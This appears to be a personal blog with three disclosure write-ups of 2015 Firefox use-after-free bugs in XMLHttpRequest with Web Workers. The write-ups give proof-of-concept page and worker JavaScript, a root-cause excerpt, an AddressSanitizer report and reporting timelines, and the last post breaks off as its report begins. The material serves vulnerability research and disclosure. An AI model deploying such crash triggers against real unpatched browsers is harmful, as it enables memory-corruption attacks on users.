loobeny
loobeny
The Coder's Blog
30 posts
The Coder, An Unexpected Journey, in middle earth.
Don't wanna be here? Send us removal request.
loobeny · 8 years ago
Text
CVE-2015-4492 Firefox Use After Free in XMLHttpRequest::Open() with Web Workers
Summary
Invoke XHR’s open method recursively in Web Workers can trigger a  Use After Free of the XMLHttpRequest object in Firefox’s Gecko web engine.
Affected version:  
Firefox 39 , Firefox 40 , Firefox 41,  Firefox 42
Firefox OS b2g-v2.0, Firefox OS b2g-v2.0M, Firefox OS b2g-v2.1, Firefox OS b2g-v2.1S, Firefox OS b2g-v2.2,  Firefox OS b2g-v2.2r
Firefox esr31, Firefox esr38
OS: All
Proof Of Concept
The Proof Of Concept test case was written as a server side script in Node.js, to serve the Firefox browser a main web page and a shared worker on request.
Main page code:
<html><body></body><script type=“text/javascript”> var worker = new SharedWorker("sharedworker0.js"); setTimeout(function(){location.reload()},400); </script></html>
Worker code ( sharedworker0.js ):
gc = function() { for (var i = 0; i < 0x80000; ++i)  var s = new String(“AAAA”); };
var xmlReq0 = new XMLHttpRequest(); xmlReq0.open(“get”, “NonExistFile.js”, true); xmlReq0.send(); var eventcount = 0; xmlReq0.onreadystatechange = function(){if (eventcount>3) return; eventcount++;gc();gc();gc();gc();gc();gc();gc();gc();gc(); try{ xmlReq0.open("get", "NonExistFile.js", true);gc();gc();gc();gc();gc();gc()} catch(e){} };
Root Cause Analysis
The memory of the XMLHttpRequest  object was prematurely released in runnable->Dispatch(mWorkerPrivate->GetJSContext()).
void XMLHttpRequest::Open(const nsACString& aMethod, const nsAString& aUrl,                     bool aAsync, const Optional<nsAString>& aUser,                     const Optional<nsAString>& aPassword, ErrorResult& aRv) {  mWorkerPrivate->AssertIsOnWorkerThread();  if (mCanceled) {    aRv.ThrowUncatchableException();    return;  }  if (mProxy) {    MaybeDispatchPrematureAbortEvents(aRv);    if (aRv.Failed()) {      return;    }  }  else {    mProxy = new Proxy(this, mMozAnon, mMozSystem);  }  mProxy->mOuterEventStreamId++;  nsRefPtr<OpenRunnable> runnable =    new OpenRunnable(mWorkerPrivate, mProxy, aMethod, aUrl, aUser, aPassword,                     mBackgroundRequest, mWithCredentials,                     mTimeout);  mProxy->mOpening = true;  if (!runnable->Dispatch(mWorkerPrivate->GetJSContext())) {    mProxy->mOpening = false;    ReleaseProxy();    aRv.Throw(NS_ERROR_FAILURE);    return;  }  mProxy->mOpening = false;  mProxy->mIsSyncXHR = !aAsync; }
Timeline:
2015-07-20. This bug was reported to Mozilla as  Bug 1185820 .
2015-07-29. Mozilla engineer fixed this bug in Firefox 42.
2015-07-30. Mozilla engineer ported the fix to other affected versions.
2015-08-11. Mozilla published Advisory MFSA 2015-92.
0 notes
loobeny · 8 years ago
Text
CVE-2015-2733 Firefox Use After Free with XMLHttpRequest in Dedicated Workers
Summary
Another Use After Free in CanonicalizeXPCOMParticipant(). Using XMLHttpRequest with Dedicated Web Workers can trigger a  Use After Free of the XMLHttpRequest object in Firefox’s Gecko web engine.
Affected version:  
Firefox 38 , Firefox 39 , Firefox 40 , Firefox 41
Firefox OS b2g-v2.0, Firefox OS b2g-v2.0M, Firefox OS b2g-v2.1, Firefox OS b2g-v2.1S, Firefox OS b2g-v2.2
Firefox esr31, Firefox esr38
OS: All
Proof Of Concept
The Proof Of Concept test case was written as a server side script in Node.js, to serve the Firefox browser a main web page and a shared worker on request.
Main page code:
<html><body></body><script type=“text/javascript”> var worker = new Worker("worker0.js"); setTimeout(function(){location.reload()},300); </script></html>
Worker code ( worker0.js ):
gc = function() { for (var i = 0; i < 0x20000; ++i)   var s = new String(“AAAA”); };
var xmlReq0 = new XMLHttpRequest(); try{ gc();xmlReq0.open("get", "NonExistFile.js", true);} catch(e){} gc(); try{ xmlReq0.send();} catch(e){} gc(); try{ xmlReq0.send(); } catch(e){} try{ xmlReq0.send();} catch(e){} gc();
Address Sanitizer Report
Ran the Proof of Concept test case in Firefox Address Sanitizer instrumented build 41.0a1 (2015-05-29). The Address Sanitizer  reported a Use After Free:
================================================================= ==8659==ERROR: AddressSanitizer: heap-use-after-free on address 0x61100026b3c0 at pc 0x7ff5728da512 bp 0x7ff55298a7d0 sp 0x7ff55298a7c8 READ of size 8 at 0x61100026b3c0 thread T22 (DOM Worker)    #0 0x7ff5728da511 in CanonicalizeXPCOMParticipant /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:930    #1 0x7ff5728da511 in CCGraphBuilder::NoteXPCOMChild(nsISupports*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:2332    #2 0x7ff5728cd446 in mozilla::CycleCollectedJSRuntime::TraverseGCThing(mozilla::CycleCollectedJSRuntime::TraverseSelect, JS::GCCellPtr, nsCycleCollectionTraversalCallback&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/CycleCollectedJSRuntime.cpp:664    #3 0x7ff5728ccfe8 in mozilla::JSGCThingParticipant::Traverse(void*, nsCycleCollectionTraversalCallback&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/CycleCollectedJSRuntime.cpp:353    #4 0x7ff5728d8ba4 in CCGraphBuilder::BuildGraph(js::SliceBudget&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:2239    #5 0x7ff5728dddf7 in nsCycleCollector::MarkRoots(js::SliceBudget&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:2839    #6 0x7ff5728e2ca7 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:3603    #7 0x7ff5728e629a in nsCycleCollector_collect(nsICycleCollectorListener*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:4098    #8 0x7ff5728d0bac in mozilla::CycleCollectedJSRuntime::OnGC(JSGCStatus) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/CycleCollectedJSRuntime.cpp:1266    #9 0x7ff57be5916c in js::gc::GCRuntime::collect(bool, js::SliceBudget, JS::gcreason::Reason) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jsgc.cpp:6178    #10 0x7ff57be59b09 in js::gc::GCRuntime::gc(JSGCInvocationKind, JS::gcreason::Reason) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jsgc.cpp:6234    #11 0x7ff57bd54531 in js::DestroyContext(JSContext*, js::DestroyContextMode) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jscntxt.cpp:185    #12 0x7ff57791eea8 in (anonymous namespace)::WorkerThreadPrimaryRunnable::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/RuntimeService.cpp:2823    #13 0x7ff5729df784 in nsThread::ProcessNextEvent(bool, bool*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:846    #14 0x7ff572a585ba in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/nsThreadUtils.cpp:265    #15 0x7ff57329a378 in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessagePump.cpp:355    #16 0x7ff573226a0c in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:233    #17 0x7ff573226a0c in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:226    #18 0x7ff573226a0c in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:200    #19 0x7ff5729dc2c8 in nsThread::ThreadFunc(void*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:359    #20 0x7ff57f4b0135 in _pt_root /builds/slave/m-cen-l64-asan-000000000000000/build/src/nsprpub/pr/src/pthreads/ptthread.c:212    #21 0x7ff57faf0181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181)    #22 0x7ff57058b30c (/lib/x86_64-linux-gnu/libc.so.6+0xfb30c) 0x61100026b3c0 is located 0 bytes inside of 232-byte region [0x61100026b3c0,0x61100026b4a8) freed by thread T22 (DOM Worker) here:    #0 0x474a01 in free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64    #1 0x7ff5728dd99d in SnowWhiteKiller::~SnowWhiteKiller() /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:2639    #2 0x7ff5728dd5ce in nsCycleCollector::FreeSnowWhite(bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:2807    #3 0x7ff5728e367e in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:3774    #4 0x7ff5728e2c95 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:3599    #5 0x7ff5728e629a in nsCycleCollector_collect(nsICycleCollectorListener*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:4098    #6 0x7ff5728d0bac in mozilla::CycleCollectedJSRuntime::OnGC(JSGCStatus) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/CycleCollectedJSRuntime.cpp:1266    #7 0x7ff57be5916c in js::gc::GCRuntime::collect(bool, js::SliceBudget, JS::gcreason::Reason) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jsgc.cpp:6178    #8 0x7ff57be59b09 in js::gc::GCRuntime::gc(JSGCInvocationKind, JS::gcreason::Reason) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jsgc.cpp:6234    #9 0x7ff57bd54531 in js::DestroyContext(JSContext*, js::DestroyContextMode) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jscntxt.cpp:185    #10 0x7ff57791eea8 in (anonymous namespace)::WorkerThreadPrimaryRunnable::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/RuntimeService.cpp:2823    #11 0x7ff5729df784 in nsThread::ProcessNextEvent(bool, bool*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:846    #12 0x7ff572a585ba in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/nsThreadUtils.cpp:265    #13 0x7ff57329a378 in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessagePump.cpp:355    #14 0x7ff573226a0c in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:233    #15 0x7ff573226a0c in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:226    #16 0x7ff573226a0c in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:200    #17 0x7ff5729dc2c8 in nsThread::ThreadFunc(void*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:359    #18 0x7ff57f4b0135 in _pt_root /builds/slave/m-cen-l64-asan-000000000000000/build/src/nsprpub/pr/src/pthreads/ptthread.c:212    #19 0x7ff57faf0181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) previously allocated by thread T22 (DOM Worker) here:    #0 0x474c01 in __interceptor_malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:74    #1 0x4921cd in moz_xmalloc /builds/slave/m-cen-l64-asan-000000000000000/build/src/memory/mozalloc/mozalloc.cpp:83    #2 0x7ff5779aab85 in operator new /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dom/workers/../../dist/include/mozilla/mozalloc.h:186    #3 0x7ff5779aab85 in mozilla::dom::workers::XMLHttpRequest::Constructor(mozilla::dom::GlobalObject const&, mozilla::dom::MozXMLHttpRequestParameters const&, mozilla::ErrorResult&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/XMLHttpRequest.cpp:1655    #4 0x7ff575e21b70 in mozilla::dom::XMLHttpRequestBinding_workers::_constructor(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dom/bindings/./XMLHttpRequestBinding.cpp:3175    #5 0x7ff57b2dcb4e in CallJSNative /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jscntxtinlines.h:235    #6 0x7ff57b2dcb4e in CallJSNativeConstructor /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jscntxtinlines.h:268    #7 0x7ff57b2dcb4e in js::InvokeConstructor(JSContext*, JS::CallArgs) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:822    #8 0x7ff57b2b935f in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:2953    #9 0x7ff57b28ca69 in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:677    #10 0x7ff57b2de0dd in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::ExecuteType, js::AbstractFramePtr, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:903    #11 0x7ff57b2de724 in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:942    #12 0x7ff57bd755fa in Evaluate(JSContext*, JS::Handle<JSObject*>, JS::ReadOnlyCompileOptions const&, JS::SourceBufferHolder&, JS::MutableHandle<JS::Value>) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jsapi.cpp:4257    #13 0x7ff577916121 in (anonymous namespace)::ScriptExecutorRunnable::WorkerRun(JSContext*, mozilla::dom::workers::WorkerPrivate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/ScriptLoader.cpp:1638    #14 0x7ff57799b3a4 in mozilla::dom::workers::WorkerRunnable::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/WorkerRunnable.cpp:357    #15 0x7ff5729df784 in nsThread::ProcessNextEvent(bool, bool*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:846    #16 0x7ff572a585ba in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/nsThreadUtils.cpp:265    #17 0x7ff577984817 in mozilla::dom::workers::WorkerPrivate::RunCurrentSyncLoop() /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/WorkerPrivate.cpp:6022    #18 0x7ff5778ff324 in Run /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/WorkerPrivate.h:1461    #19 0x7ff5778ff324 in (anonymous namespace)::LoadAllScripts(JSContext*, mozilla::dom::workers::WorkerPrivate*, nsTArray<(anonymous namespace)::ScriptLoadInfo>&, bool, mozilla::dom::workers::WorkerScriptType) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/ScriptLoader.cpp:1719    #20 0x7ff5778fed35 in mozilla::dom::workers::scriptloader::LoadMainScript(JSContext*, nsAString_internal const&, mozilla::dom::workers::WorkerScriptType) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/ScriptLoader.cpp:1814    #21 0x7ff5779db5e1 in (anonymous namespace)::CompileScriptRunnable::WorkerRun(JSContext*, mozilla::dom::workers::WorkerPrivate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/WorkerPrivate.cpp:1057    #22 0x7ff57799b3a4 in mozilla::dom::workers::WorkerRunnable::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/WorkerRunnable.cpp:357    #23 0x7ff5729df784 in nsThread::ProcessNextEvent(bool, bool*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:846    #24 0x7ff572a585ba in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/nsThreadUtils.cpp:265    #25 0x7ff57797b363 in mozilla::dom::workers::WorkerPrivate::DoRunLoop(JSContext*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/WorkerPrivate.cpp:5200    #26 0x7ff57791edf2 in (anonymous namespace)::WorkerThreadPrimaryRunnable::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/RuntimeService.cpp:2803    #27 0x7ff5729df784 in nsThread::ProcessNextEvent(bool, bool*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:846    #28 0x7ff572a585ba in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/nsThreadUtils.cpp:265    #29 0x7ff57329a378 in mozilla::ipc::MessagePumpForNonMainThreads::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessagePump.cpp:355    #30 0x7ff573226a0c in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:233    #31 0x7ff573226a0c in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:226    #32 0x7ff573226a0c in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:200    #33 0x7ff5729dc2c8 in nsThread::ThreadFunc(void*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:359    #34 0x7ff57f4b0135 in _pt_root /builds/slave/m-cen-l64-asan-000000000000000/build/src/nsprpub/pr/src/pthreads/ptthread.c:212    #35 0x7ff57faf0181 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x8181) Thread T22 (DOM Worker) created by T0 (Web Content) here:    #0 0x461475 in pthread_create /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:175    #1 0x7ff57f4acabd in _PR_CreateThread /builds/slave/m-cen-l64-asan-000000000000000/build/src/nsprpub/pr/src/pthreads/ptthread.c:453    #2 0x7ff57f4ac63a in PR_CreateThread /builds/slave/m-cen-l64-asan-000000000000000/build/src/nsprpub/pr/src/pthreads/ptthread.c:544    #3 0x7ff5729dd74b in nsThread::Init() /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:469    #4 0x7ff5779a54aa in mozilla::dom::workers::WorkerThread::Create(mozilla::dom::workers::WorkerThreadFriendKey const&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/WorkerThread.cpp:90    #5 0x7ff5778f30e6 in mozilla::dom::workers::RuntimeService::ScheduleWorker(JSContext*, mozilla::dom::workers::WorkerPrivate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/RuntimeService.cpp:1751    #6 0x7ff5778f0844 in mozilla::dom::workers::RuntimeService::RegisterWorker(JSContext*, mozilla::dom::workers::WorkerPrivate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/RuntimeService.cpp:1605    #7 0x7ff577979d2d in mozilla::dom::workers::WorkerPrivate::Constructor(JSContext*, nsAString_internal const&, bool, mozilla::dom::WorkerType, nsACString_internal const&, mozilla::dom::workers::WorkerLoadInfo*, mozilla::ErrorResult&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/WorkerPrivate.cpp:4774    #8 0x7ff577979536 in Constructor /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/WorkerPrivate.cpp:4709    #9 0x7ff577979536 in mozilla::dom::workers::WorkerPrivate::Constructor(mozilla::dom::GlobalObject const&, nsAString_internal const&, mozilla::ErrorResult&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/workers/WorkerPrivate.cpp:4650    #10 0x7ff575e55586 in mozilla::dom::WorkerBinding::_constructor(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/obj-firefox/dom/bindings/./WorkerBinding.cpp:747    #11 0x7ff57b2dcb4e in CallJSNative /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jscntxtinlines.h:235    #12 0x7ff57b2dcb4e in CallJSNativeConstructor /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jscntxtinlines.h:268    #13 0x7ff57b2dcb4e in js::InvokeConstructor(JSContext*, JS::CallArgs) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:822    #14 0x7ff57b2b935f in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:2953    #15 0x7ff57b28ca69 in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:677    #16 0x7ff57b2de0dd in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, js::ExecuteType, js::AbstractFramePtr, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:903    #17 0x7ff57b2de724 in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/vm/Interpreter.cpp:942    #18 0x7ff57bd755fa in Evaluate(JSContext*, JS::Handle<JSObject*>, JS::ReadOnlyCompileOptions const&, JS::SourceBufferHolder&, JS::MutableHandle<JS::Value>) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jsapi.cpp:4257    #19 0x7ff57bd75d5f in Evaluate /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jsapi.cpp:4284    #20 0x7ff57bd75d5f in JS::Evaluate(JSContext*, JS::AutoVectorRooter<JSObject*>&, JS::ReadOnlyCompileOptions const&, JS::SourceBufferHolder&, JS::MutableHandle<JS::Value>) /builds/slave/m-cen-l64-asan-000000000000000/build/src/js/src/jsapi.cpp:4339    #21 0x7ff574d5816a in nsJSUtils::EvaluateString(JSContext*, JS::SourceBufferHolder&, JS::Handle<JSObject*>, JS::CompileOptions&, nsJSUtils::EvaluateOptions const&, JS::MutableHandle<JS::Value>, void**) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsJSUtils.cpp:265    #22 0x7ff574d5909b in nsJSUtils::EvaluateString(JSContext*, JS::SourceBufferHolder&, JS::Handle<JSObject*>, JS::CompileOptions&, void**) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsJSUtils.cpp:337    #23 0x7ff574ddc312 in nsScriptLoader::EvaluateScript(nsScriptLoadRequest*, JS::SourceBufferHolder&, void**) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsScriptLoader.cpp:1146    #24 0x7ff574dd9a31 in nsScriptLoader::ProcessRequest(nsScriptLoadRequest*, void**) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsScriptLoader.cpp:975    #25 0x7ff574dd3177 in nsScriptLoader::ProcessScriptElement(nsIScriptElement*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsScriptLoader.cpp:764    #26 0x7ff574dce7de in nsScriptElement::MaybeProcessScript() /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsScriptElement.cpp:141    #27 0x7ff5742079c4 in operator-> /builds/slave/m-cen-l64-asan-000000000000000/build/src/dom/base/nsIScriptElement.h:221    #28 0x7ff5742079c4 in nsHtml5TreeOpExecutor::RunScript(nsIContent*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:662    #29 0x7ff574205eb1 in nsHtml5TreeOpExecutor::RunFlushLoop() /builds/slave/m-cen-l64-asan-000000000000000/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:487    #30 0x7ff57420c8eb in nsHtml5ExecutorFlusher::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/parser/html/nsHtml5StreamParser.cpp:127    #31 0x7ff5729df784 in nsThread::ProcessNextEvent(bool, bool*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/threads/nsThread.cpp:846    #32 0x7ff572a585ba in NS_ProcessNextEvent(nsIThread*, bool) /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/glue/nsThreadUtils.cpp:265    #33 0x7ff573299399 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/glue/MessagePump.cpp:95    #34 0x7ff573226a0c in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:233    #35 0x7ff573226a0c in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:226    #36 0x7ff573226a0c in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:200    #37 0x7ff577e045f7 in nsBaseAppShell::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/widget/nsBaseAppShell.cpp:165    #38 0x7ff579bdf662 in XRE_RunAppShell /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:745    #39 0x7ff573226a0c in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:233    #40 0x7ff573226a0c in RunHandler /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:226    #41 0x7ff573226a0c in MessageLoop::Run() /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/chromium/src/base/message_loop.cc:200    #42 0x7ff579bded5b in XRE_InitChildProcess /builds/slave/m-cen-l64-asan-000000000000000/build/src/toolkit/xre/nsEmbedFunctions.cpp:581    #43 0x48d292 in content_process_main(int, char**) /builds/slave/m-cen-l64-asan-000000000000000/build/src/ipc/app/../contentproc/plugin-container.cpp:236    #44 0x7ff5704b1ec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4) SUMMARY: AddressSanitizer: heap-use-after-free /builds/slave/m-cen-l64-asan-000000000000000/build/src/xpcom/base/nsCycleCollector.cpp:930 CanonicalizeXPCOMParticipant Shadow bytes around the buggy address:  0x0c2280045620: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd  0x0c2280045630: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd  0x0c2280045640: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa  0x0c2280045650: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd  0x0c2280045660: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd =>0x0c2280045670: fa fa fa fa fa fa fa fa[fd]fd fd fd fd fd fd fd  0x0c2280045680: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd  0x0c2280045690: fd fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa  0x0c22800456a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd  0x0c22800456b0: fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa  0x0c22800456c0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes):  Addressable:           00  Partially addressable: 01 02 03 04 05 06 07  Heap left redzone:       fa  Heap right redzon==8659==ABORTING
Timeline:
2015-05-29. This bug was reported to Mozilla as Bug 1169867 .
2015-06-12. Mozilla engineer fixed this bug in Firefox 39, 40, 41.
2015-06-15. Mozilla engineer ported the fix to all other affected versions.
2015-07-02. Mozilla published Advisory MFSA 2015-65.
0 notes
loobeny · 8 years ago
Text
CVE-2015-2722 Firefox Use After Free with XMLHttpRequest in Shared Workers
Summary
Using XMLHttpRequest in Shared Workers can trigger a  Use After Free of the XMLHttpRequest object in Firefox’s Gecko web engine.
Affected version:   
Firefox 38 , Firefox 39 , Firefox 40 , Firefox 41
Firefox OS b2g-v2.0, Firefox OS b2g-v2.0M, Firefox OS b2g-v2.1, Firefox OS b2g-v2.1S, Firefox OS b2g-v2.2
Firefox esr31, Firefox esr38
OS: All
Proof Of Concept
The Proof Of Concept test case was written as a server side script in Node.js, to serve the Firefox browser a main web page and a shared worker on request.
Main page code:
<html><body></body><script type="text/javascript"> var sharedWk = new SharedWorker("sharedworker0.js"); setTimeout(function(){location.reload()},300); </script></html>
Shared worker code ( sharedworker0.js ):
gc = function() {  for (var i = 0; i < 0x20000; ++i)    var s = new String("AAAA"); };
var xmlReq0 = new XMLHttpRequest(); xmlReq0.onreadystatechange = function(){gc();try{ xmlReq0.send(); } catch(e){} }; onconnect = function(e) {gc(); try{ gc();xmlReq0.open("get", "NonExistFile.js", true);} catch(e){} try{ close();} catch(e){} try{ xmlReq0.send(); } catch(e){} };
Address Sanitizer Report
Ran the Proof of Concept test case in Firefox Address Sanitizer instrumented build 41.0a1 (2015-05-16). The Address Sanitizer  reported a Use After Free:
